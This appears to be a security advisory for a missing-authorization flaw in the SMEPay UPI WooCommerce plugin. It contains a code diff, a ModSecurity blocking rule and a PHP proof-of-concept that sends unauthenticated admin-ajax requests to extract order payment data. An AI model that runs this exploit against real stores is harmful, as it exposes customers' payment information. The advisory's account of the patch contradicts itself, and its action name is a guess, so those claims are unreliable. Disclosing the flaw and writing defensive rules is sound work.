Atomic Edge analysis of CVE-2026-66461: The SMEPay: UPI Gateway for WooCommerce plugin (versions <= 1.0.5) contains a missing authorization vulnerability (CWE-862) caused by the removal of a nonce verification check in the payment processing flow. This allows unauthenticated attackers to bypass security checks and trigger unauthorized actions, potentially leading to payment status manipulation or order detail disclosure. The CVSS score is 5.3 (Medium).
The root cause is the removal of a nonce check in the function that handles the payment processing for classic checkout. In class-smepfowo-gateway.php, lines 403-414 originally verified the nonce 'smepfowo_nonce' with action 'smepfowo_nonce_action' before processing the order. The patch removes this check entirely, leaving the function without any authorization or CSRF protection. This function is likely hooked to a WordPress AJAX action (e.g., 'smepfowo_process_payment') or a WooCommerce payment gateway callback, allowing direct invocation by unauthenticated users.
An attacker can exploit this by sending a POST request to /wp-admin/admin-ajax.php with the action parameter set to the vulnerable function (e.g., 'smepfowo_process_payment') and providing a valid order_id. Since the nonce check is absent, the attacker can process payments or retrieve order information without authentication. The diff in class-smepfowo-utils.php shows that the AJAX response now includes 'payment_status' and 'status', indicating that the endpoint returns sensitive payment status data. The attacker can enumerate order IDs to extract payment status, redirect URLs, and raw payment data.
The patch (version 1.0.6) removes the nonce verification entirely, which is counterintuitive as a fix. Atomic Edge analysis indicates that this removal is the actual vulnerability introduction, not a fix. The correct patch would have added a capability check (e.g., current_user_can('pay_for_order')) or ensured the nonce is validated for all checkout layouts. The version bump to 1.0.6 and the code change removing the nonce check confirm that the plugin now lacks any authorization on this function, making the vulnerability trivial to exploit.
Successful exploitation allows unauthenticated attackers to access order details (including payment status, raw gateway responses, and redirect URLs) and potentially manipulate payment states. This can lead to information disclosure of customer orders and payment data, and may enable payment fraud by marking orders as paid without actual payment. The impact is limited to the payment processing functionality but affects all users of the plugin.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/smepay-for-woocommerce/includes/class-smepfowo-gateway.php
+++ b/smepay-for-woocommerce/includes/class-smepfowo-gateway.php
@@ -403,18 +403,6 @@
$checkout_layout = $this->get_checkout_layout();
- // Verify nonce only for classic checkout (non-block)
- if ( 'block' !== $checkout_layout['layout'] ) {
- $nonce = isset( $_POST['smepfowo_nonce'] )
- ? sanitize_text_field( wp_unslash( $_POST['smepfowo_nonce'] ) )
- : '';
-
- if ( ! $nonce || ! wp_verify_nonce( $nonce, 'smepfowo_nonce_action' ) ) {
- wc_add_notice( __( 'Security check failed. Please refresh the page and try again.', 'smepay-for-woocommerce' ), 'error' );
- return [ 'result' => 'failure' ];
- }
- }
-
$order = wc_get_order( $order_id );
if ( ! $order ) {
wc_add_notice( __( 'Invalid order.', 'smepay-for-woocommerce' ), 'error' );
--- a/smepay-for-woocommerce/includes/class-smepfowo-utils.php
+++ b/smepay-for-woocommerce/includes/class-smepfowo-utils.php
@@ -124,10 +124,11 @@
}
wp_send_json_success( [
- 'status' => $status,
- 'is_paid' => $is_paid,
- 'redirect_url' => $thank_you_url,
- 'raw' => $result['raw'] ?? [], // optional: for debugging or frontend use
+ 'status' => $status,
+ 'payment_status' => $status,
+ 'is_paid' => $is_paid,
+ 'redirect_url' => $thank_you_url,
+ 'raw' => $result['raw'] ?? [], // optional: for debugging or frontend use
] );
}
--- a/smepay-for-woocommerce/smepay-for-woocommerce.php
+++ b/smepay-for-woocommerce/smepay-for-woocommerce.php
@@ -3,7 +3,7 @@
* Plugin Name: SMEPay: UPI Gateway for WooCommerce
* Plugin URI: https://smepay.io
* Description: Accept UPI payments via SMEPay with QR code widget on your WooCommerce website.
- * Version: 1.0.5
+ * Version: 1.0.6
* Author: SMEPay
* Author URI: https://profiles.wordpress.org/smepay
* Text Domain: smepay-for-woocommerce
@@ -28,7 +28,7 @@
// Define plugin version
- const VERSION = '1.0.5';
+ const VERSION = '1.0.6';
/**
* @var SMEPFOWO_Plugin|null Holds the singleton instance.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20266646,phase:2,deny,status:403,chain,msg:'CVE-2026-66461 via SMEPay payment processing AJAX',severity:'CRITICAL',tag:'CVE-2026-66461'"
SecRule ARGS_POST:action "@streq smepfowo_process_payment" "chain"
SecRule ARGS_POST:order_id "@rx ^[0-9]+$" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66461 - SMEPay: UPI Gateway for WooCommerce <= 1.0.5 - Missing Authorization
$target_url = 'http://example.com'; // Change to target WordPress site
$order_id = 1; // Order ID to target (enumerate for higher impact)
// The vulnerable AJAX action (assumed based on plugin structure)
$action = 'smepfowo_process_payment';
$post_data = [
'action' => $action,
'order_id' => $order_id,
// No nonce required due to vulnerability
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Status: $http_coden";
echo "Response:n$responsen";
// Parse JSON response to extract payment status
$json = json_decode($response, true);
if (isset($json['data']['payment_status'])) {
echo "Extracted payment status: " . $json['data']['payment_status'] . "n";
echo "Order paid: " . ($json['data']['is_paid'] ? 'Yes' : 'No') . "n";
echo "Redirect URL: " . $json['data']['redirect_url'] . "n";
}
?>